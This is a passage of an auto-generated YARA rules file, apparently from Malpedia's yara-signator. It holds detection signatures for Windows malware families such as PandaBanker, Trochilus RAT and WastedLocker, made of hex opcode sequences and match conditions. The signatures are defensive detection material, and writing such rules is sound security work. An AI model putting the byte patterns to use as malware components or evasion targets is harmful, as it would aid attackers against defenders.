		id = "ce410d90-c1fc-5e24-b6fe-acbef7b75a62"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.duuzer_auto.yar#L1-L150"
		license_url = "N/A"
		logic_hash = "dfa72f297db77226dddcb2a3a6d903c9c88217f92848aed80d0a5daab8159948"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f804 7408 83c8ff e9???????? }
		$sequence_1 = { 5e c3 397170 74e4 83b9f800000008 48895c2458 }
		$sequence_2 = { c78598fdffff288c3a55 c7859cfdffff83a89c49 c785a0fdffff9ace29e0 c785a4fdffff5652b72b }
		$sequence_3 = { b8a2000000 5e 8b4dfc 33cd }
		$sequence_4 = { 5f c3 4585ff 74d9 4489a70c170000 }
		$sequence_5 = { c785f0fefeff20964000 c785f4fefeff40964000 c785f8fefeff60964000 c785fcfefeff80964000 c78500fffeffd0964000 }
		$sequence_6 = { 5f 5d c3 488d0529230100 }
		$sequence_7 = { 51 56 e8???????? 6a78 8d4de8 }
		$sequence_8 = { ffd6 a3???????? 85c0 7413 8d8509ffffff }
		$sequence_9 = { 8d86a4000000 c7465000000100 89464c 837dfc00 752f }
		$sequence_10 = { 5f 5e 5d c3 488d542470 8bcb }
		$sequence_11 = { 5e c3 488b4e38 48895c2468 }
		$sequence_12 = { 5f c3 4585f6 74db }
		$sequence_13 = { 50 8d0c1e 51 52 }
		$sequence_14 = { 5f 5d 5b c3 33c9 4c897c2460 }
	condition:
		7 of them and filesize < 491520
}

rule MALPEDIA_Win_Cadelspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "239b2d97-ceb8-5e5b-be90-aeb9b9fcf209"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cadelspy_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "b4d9cbb0d8867220f80a8ce48db839eded436dcbd892904385e6486261b96542"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3d01010000 7d0d 8a4c181c 888840360110 40 ebe9 }
		$sequence_1 = { 7413 50 8b44241c 56 e8???????? 8bf8 59 }
		$sequence_2 = { 89742424 e8???????? 33c0 bf06020000 57 6689842484040000 8d842486040000 }
		$sequence_3 = { 8d9c2464020000 e8???????? 68???????? 8d9c2464020000 e8???????? }
		$sequence_4 = { 8d859e000000 50 e8???????? 83c40c 56 8d859c000000 50 }
		$sequence_5 = { 89742424 89742428 8974242c 89742430 89742434 89742438 e8???????? }
		$sequence_6 = { 56 57 33ff 8db7b03e0110 ff36 e8???????? }
		$sequence_7 = { ff742414 ffd3 8bc6 e8???????? 33c0 40 eb02 }
		$sequence_8 = { 40 8b8d94260000 5f 5e 33cd 5b e8???????? }
		$sequence_9 = { 39742414 0f84d3000000 397508 7474 8b4508 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Catb_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "933995f2-f16f-57d3-8dbf-a34d98a15a16"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.catb_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "67c973c178a5aaefb496aaca8211cbe6cac87c68d3dfe20d86da6ecd47acde94"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8491000000 498bc5 4c8d0d5d58ffff 83e03f 498bd5 }
		$sequence_1 = { eb1f be07000000 488d15ef9e0000 448bc6 488bcf e8???????? 85c0 }
		$sequence_2 = { 488d1db6a90300 488d3537fe0000 48895c2420 488d05aba90300 483bd8 7419 483933 }
		$sequence_3 = { 4c8d0da47f0000 b903000000 4c8d05907f0000 488d15f9750000 e8???????? 4885c0 740f }
		$sequence_4 = { 48895c2408 4889742410 57 4883ec20 418bf0 4c8d0d8fcf0000 }
		$sequence_5 = { 7832 3b0d???????? 732a 4863c9 4c8d05e89f0300 488bc1 }
		$sequence_6 = { 4c8d0d757d0000 488bd9 488d156b7d0000 b916000000 4c8d05577d0000 e8???????? 488bcb }
		$sequence_7 = { 4c8d05117f0000 488d1592750000 e8???????? 8bcb }
		$sequence_8 = { 488bf8 4885c0 0f8483000000 41b812000000 488d1569550100 488bc8 ff15???????? }
		$sequence_9 = { 44895c2448 81fae9fd0000 0f8570010000 4c8d3d23aaffff 418bd3 }
	condition:
		7 of them and filesize < 593920
}

rule MALPEDIA_Win_Gacrux_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "08e3a0a1-da81-5882-b134-65281af51162"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrux"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gacrux_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "6278ae90a5acb1d1e22aec25afba6eadcc43cdc1399d5403571d5596bb5e391d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c9 743c 6548 8b0425???????? 80780201 7428 48 }
		$sequence_1 = { 33db e8???????? 48 8bf8 48 85c0 742f }
		$sequence_2 = { 3900 75f4 48 63c2 85d2 740a 48 }
		$sequence_3 = { 740b 41 81cb00900000 45 895821 40 f6c610 }
		$sequence_4 = { e8???????? 4c 8bc3 33d2 48 8bcf ffd0 }
		$sequence_5 = { 3c40 755f 41 0fbaea1e 40 8ac7 c0e803 }
		$sequence_6 = { 0fb6c3 44 3bc8 0f850f010000 44 0fb66d67 43 }
		$sequence_7 = { 75f6 e8???????? 48 83c428 c3 48 }
		$sequence_8 = { eb02 33db 8b4c2460 0337 392f 75a5 eb5d }
		$sequence_9 = { 83e801 7463 83e801 7457 83e802 744b }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Pandabanker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7a6bb16-47e5-52e8-857d-352f3fc1d921"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pandabanker_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "7224c438b16af79be738a189a249337e2e081d636ca75e4e1c5b1122ffa5e8c5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { d0c2 8ac2 d0c0 32c1 32c2 }
		$sequence_1 = { 42 83fa10 72ee 8b5500 }
		$sequence_2 = { 8bf2 57 8bf9 8d8df4fdffff }
		$sequence_3 = { f3aa 8932 8d46f0 8b5500 }
		$sequence_4 = { 895c2414 8bf1 e8???????? 84c0 746d 83caff 8bce }
		$sequence_5 = { 8bf0 85f6 7414 e8???????? 8906 85c0 7509 }
		$sequence_6 = { 33c0 33d2 89442418 3bfd 7359 }
		$sequence_7 = { 8bce 2b0f 33448f4c 8944b74c 6a05 59 }
		$sequence_8 = { 03c8 894c2434 8d5101 8bce e8???????? 85c0 }
		$sequence_9 = { 75f9 2bce 5e 8d040a c3 33c0 c3 }
	condition:
		7 of them and filesize < 417792
}

rule MALPEDIA_Win_Wormhole_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6f46fc51-988b-5f8d-9d00-a7686a2cf87f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wormhole_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "e1e9db1cf90c5ec01e6303b9e0faaa3beb1eeaff1efa494e61bb4a00bebdfa38"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 e8???????? 83c408 8d542410 6aff 6a01 52 }
		$sequence_1 = { 0f85c1000000 8b15???????? 8d4c2408 51 52 }
		$sequence_2 = { 6a00 6a00 ffd3 8b1d???????? 6aff 8d4c2414 6a00 }
		$sequence_3 = { a1???????? 85c0 7531 8b35???????? e8???????? 85c0 7519 }
		$sequence_4 = { 897c2438 8974243c ffd3 6a00 6a00 89442418 }
		$sequence_5 = { 6a00 6a00 ff15???????? 85c0 a3???????? 7404 }
		$sequence_6 = { 6a00 52 68???????? 6a00 6a00 89742430 }
		$sequence_7 = { 6685c0 743f a1???????? 85c0 7531 }
		$sequence_8 = { 68c8000000 6a00 56 e8???????? 83c410 83f8ff }
		$sequence_9 = { 6a01 52 6a02 ffd3 8b35???????? }
	condition:
		7 of them and filesize < 99576
}

rule MALPEDIA_Win_Cheesetray_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9541e7b5-55cf-5f67-8b69-be87df55796a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cheesetray_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "8cd561aadd1b5e2f7790bac0781a0595445a0cbe8294d61c87c9d05b79f48756"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83b8a400000000 894d10 7666 8b88a0000000 8b0419 03cb 85c0 }
		$sequence_1 = { 8b0c8d80ce4400 83e01f c1e006 8d440124 8b4d10 8a10 }
		$sequence_2 = { 75f7 03c0 50 8d4dfc 51 52 e8???????? }
		$sequence_3 = { 8b8c24a4000000 83c40c 6a02 51 68???????? ba1f000000 }
		$sequence_4 = { 81ec84000000 56 6880000000 6a00 8d4580 50 e8???????? }
		$sequence_5 = { 56 6800100000 6a03 56 6a03 6800000080 57 }
		$sequence_6 = { 8b5318 52 e8???????? 8b4314 50 e8???????? 83c414 }
		$sequence_7 = { 40 8945fc 3b85f8feffff 72ad 8b4508 6a00 6a00 }
		$sequence_8 = { 720e 8b4c2410 3b4c2420 0f83b1000000 8b3d???????? 8d9b00000000 68ff1f0000 }
		$sequence_9 = { 8d4df4 51 56 e8???????? 6a04 8d9594fdffff }
	condition:
		7 of them and filesize < 8626176
}

rule MALPEDIA_Win_Unidentified_031_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a627a0b9-017e-5461-a9b3-c89e0fe42650"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_031_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "005409f0a75d0a6c7e76852a5fa0d497560f223da31bb6e0d79d2b1a3b3dfeb4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 897de8 89bd40ffffff e9???????? 817d8004000400 754f }
		$sequence_1 = { 3935???????? 7510 68???????? 68???????? ff15???????? 8b35???????? 8d9544ffffff }
		$sequence_2 = { 83bd78ffffff03 0f82e5feffff 33c0 8b4dfc 5f 5e 5b }
		$sequence_3 = { 51 52 6a12 ff15???????? 83c44c 8d4da0 ff15???????? }
		$sequence_4 = { 898bb8200000 898bbc200000 57 8d83b81e0000 50 ffd6 6810140001 }
		$sequence_5 = { 3d05000780 0f858c000000 837d2001 0f85e3000000 8d4de4 e8???????? 85c0 }
		$sequence_6 = { e8???????? 8bf8 897dd4 85ff 747f 6a00 53 }
		$sequence_7 = { 64a100000000 50 64892500000000 81ec04030000 53 56 57 }
		$sequence_8 = { eb03 33f6 46 ff75c0 ff15???????? 59 8bc6 }
		$sequence_9 = { 33c0 e9???????? 53 56 ff7508 8d85ecfdffff 50 }
	condition:
		7 of them and filesize < 1998848
}

rule MALPEDIA_Win_Shareip_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9f46ee27-fcc3-5b26-9e77-331cb46925ef"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shareip_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "b24d153dc5c903a6f61d1f00b3b16ac72a620a7bd569254dc7e2236cbdbfd920"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b02 8d8c2414010000 ffd0 83bc243001000000 7425 83bc242401000000 7412 }
		$sequence_1 = { 56 894c2438 33d2 50 8d4c2440 895c2458 89742454 }
		$sequence_2 = { 83f8ff 7566 be10000000 39742444 720d 8b542430 52 }
		$sequence_3 = { 8b7e10 8bcf 2b4d10 b867666666 f7e9 c1fa03 8bc2 }
		$sequence_4 = { 8b542468 89542424 eb08 8d442468 89442424 39b424ec000000 720d }
		$sequence_5 = { 8bc2 c1e81f 03c2 83f803 0f8557feffff 8d78ff 8d742414 }
		$sequence_6 = { 50 8d4c2420 51 8d5f20 c744243803000000 89542448 e8???????? }
		$sequence_7 = { 8d442408 8da42400000000 8a10 3a11 751a 84d2 }
		$sequence_8 = { 8b01 8d7001 8a10 40 84d2 75f9 2bc6 }
		$sequence_9 = { 8bce bb03000000 e8???????? eb02 33c0 c78424b000000002000000 8907 }
	condition:
		7 of them and filesize < 811008
}

rule MALPEDIA_Win_Trochilus_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5e944258-6f12-5085-8358-b91fb7dc5a09"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.trochilus_rat_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "dca7f9603da83736d27e78d66d52610b99014fe1a1d949a52b24e5b787c59a8a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8410010000 8b3d???????? 6894e40010 53 ffd7 85c0 0f84fa000000 }
		$sequence_1 = { 7405 6a02 5e ebc6 e8???????? eb25 e8???????? }
		$sequence_2 = { 2bf9 f7df 1bff 23f8 0f849a000000 8b4708 }
		$sequence_3 = { 53 57 8d4e2c 8bf8 2bf9 f7df 1bff }
		$sequence_4 = { 56 8bf1 c706d0d10010 e8???????? f6450801 7407 56 }
		$sequence_5 = { 8b4dfc 8b06 b201 d2e2 081438 663b5d0c 740e }
		$sequence_6 = { 50 6a06 8d85ecfbffff 50 8bcf }
		$sequence_7 = { ff7510 8b01 ff750c ff5034 6a00 ff7508 8bfe }
		$sequence_8 = { 8bce e8???????? eba2 55 8bec 83ec0c 56 }
		$sequence_9 = { a1???????? c705????????90897e00 8935???????? a3???????? ff15???????? a3???????? }
	condition:
		7 of them and filesize < 630784
}

rule MALPEDIA_Win_Khrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d98fbdf3-9fe4-57f4-bc2e-25361c02b6b3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.khrat_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "f897e4b10c9d307944a08dbe843650aba78831f11c2fc81a4d9a80e6f47607a3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7415 ff35???????? e8???????? c705????????00000000 833d????????ff 7415 ff35???????? }
		$sequence_1 = { 0fb64306 a3???????? 8d7307 56 68???????? e8???????? 6a00 }
		$sequence_2 = { e8???????? eb0f 807b06ff 7509 8b4b07 51 e8???????? }
		$sequence_3 = { 50 8d8500fcffff 50 6801000080 e8???????? }
		$sequence_4 = { c6430500 c6430600 894307 8d7b0b }
		$sequence_5 = { 66c746326500 66c746347700 66c746363a00 66c746380000 8db500feffff }
		$sequence_6 = { 8d8500fcffff 50 e8???????? 6a00 51 8d8500fcffff 50 }
		$sequence_7 = { e8???????? 0bc0 0f84da000000 d1e0 8985fcfbffff ffb5fcfbffff }
		$sequence_8 = { c9 c3 55 8bec 81c490fbffff }
		$sequence_9 = { c9 c3 55 8bec 81c4f8fbffff 8d9d00fcffff }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Downeks_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c1af7457-a967-5afd-afe7-3e5e1a0a9026"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downeks_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "2a5314b1c911549ae340f3f5ef76252cb23ca35ba95d30c0718999dad54c01d3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bec 817d08c8000000 53 56 8bf0 8b9e38040000 57 }
		$sequence_1 = { c3 b8042c0804 5d c3 b8ec250804 5d c3 }
		$sequence_2 = { c20c00 8bc1 ddd8 894dd8 81e1ffffff7f 8955cc 894dd0 }
		$sequence_3 = { 8b7d08 8bc7 c1f805 8bf7 83e61f c1e606 033485e0ffb405 }
		$sequence_4 = { 8bbd48ffffff 039d68ffffff c1ef03 33f7 03f3 03b544ffffff 897584 }
		$sequence_5 = { b820000000 8bce e8???????? 33c0 5f 5e 5b }
		$sequence_6 = { 8d5df0 8b5508 893a 393b 0f8598000000 56 e8???????? }
		$sequence_7 = { c746140f000000 c7461000000000 6839ac0804 8bce c60600 e8???????? eb7a }
		$sequence_8 = { c78550ffffff01000000 89b7a0040000 394d98 7c12 7f08 8b5594 3b558c }
		$sequence_9 = { 6a3f 85c0 7403 40 eb09 8b55e8 8b8298000000 }
	condition:
		7 of them and filesize < 1318912
}

rule MALPEDIA_Win_Rover_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "451be843-c1b6-533c-b0b3-7d3bb00747ec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rover_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "31c11b80e1502485f7e7215f291e9c4bbf44558d14836234edb24070e18bf1ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7478 8b4c2474 8d442434 50 68ff3f0000 8d83f4050000 50 }
		$sequence_1 = { eb03 83c604 56 ff15???????? 33c9 83c404 84c0 }
		$sequence_2 = { 8b0d???????? 50 51 6a02 6a1c 8d9424dc000000 52 }
		$sequence_3 = { 8b5b10 8b44241c 8d4bfc 3bc1 745c 8928 83c004 }
		$sequence_4 = { eb6a 80bc241d01000000 7409 51 ff15???????? eb57 80bc241e01000000 }
		$sequence_5 = { 85c0 740c 8b0d???????? 8b5140 50 ffd2 8d442428 }
		$sequence_6 = { 83beb000000000 0f846d030000 83bb5802000000 742c 83bb4087000000 7523 8b8e94000000 }
		$sequence_7 = { 33ff 837d3805 89442410 894c2414 897c240c 750e 8bc6 }
		$sequence_8 = { 897c2424 83ffff 0f84e8060000 8b2d???????? }
		$sequence_9 = { ff25???????? 8d8d48ffffff ff25???????? 8b542408 8d8230ffffff 8b8a2cffffff 33c8 }
	condition:
		7 of them and filesize < 704512
}

rule MALPEDIA_Win_Mulcom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "796c69f9-5b53-545d-88e3-bfd165a4b278"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mulcom_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "2762a73c90997100242e2050e0b97b2b7a616be77c2385bca6805b6497e289e6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? b801000000 488b8d70050000 4833cc e8???????? 4c8d9c2480060000 498b5b28 }
		$sequence_1 = { 488d4b27 4883c8ff 483bcb 480f46c8 e8???????? 488bc8 4885c0 }
		$sequence_2 = { 488d4398 483bc6 75c8 488b5c2430 488b4c2440 482bcb 48b80dc3300cc3300cc3 }
		$sequence_3 = { 0f86cd000000 8bc6 4c8d3440 4c8b7c2438 4c8d4dff }
		$sequence_4 = { 488b03 48634804 4803cb 4533c0 8bd7 e8???????? 90 }
		$sequence_5 = { 488d4c2440 e8???????? 488d5530 48837d4810 480f435530 8b5d40 448bc3 }
		$sequence_6 = { eb73 4c8d442430 ba0e000000 488bcf ff15???????? 85c0 750b }
		$sequence_7 = { 55 488bec 4883ec70 488b05???????? 4833c4 488945f0 488955d0 }
		$sequence_8 = { 498b4110 d020 c3 81fa80000000 731e 4183f804 7318 }
		$sequence_9 = { 751f 488b0d???????? 488d1d55e80200 483bcb 740c e8???????? 48891d???????? }
	condition:
		7 of them and filesize < 867328
}

rule MALPEDIA_Win_Ratel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3659af5a-6903-5ae8-965b-97a9526108b3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratel_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "89a6fc619b74a1abf97d7e9ad932eeb9075f956a974cadff963b35627fbf078a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c705????????080e4c00 e8???????? 83ec08 b9???????? c705????????01000000 c705????????94154c00 c705????????00000000 }
		$sequence_1 = { 8b510c 31c0 395108 0f82dafeffff 8b01 ff5024 89c2 }
		$sequence_2 = { 8b5c2420 395808 0f8c51020000 8b442454 8b4c2420 8b4004 39c8 }
		$sequence_3 = { 8b4508 8b550c 890c24 8d4de0 8945d0 8955d4 e8???????? }
		$sequence_4 = { 8d5601 89d8 89530c e8???????? 89c1 890c24 e9???????? }
		$sequence_5 = { 8d7810 83c004 c744243200000000 890424 89542426 31d2 6689542436 }
		$sequence_6 = { e9???????? 8b01 ff5024 89c3 83f8ff 0f8522fbffff c7450800000000 }
		$sequence_7 = { 8b470c 894c2410 8b00 890424 e8???????? 8b4c2410 85c0 }
		$sequence_8 = { e8???????? 50 891c24 e8???????? 85ff 7408 893c24 }
		$sequence_9 = { 894dcc 8d4de7 8945c4 668945d2 e8???????? 83ec08 807de700 }
	condition:
		7 of them and filesize < 2174976
}

rule MALPEDIA_Win_Wastedlocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1b25ab78-4d17-5567-bfe5-7c9cd4852d3a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker"
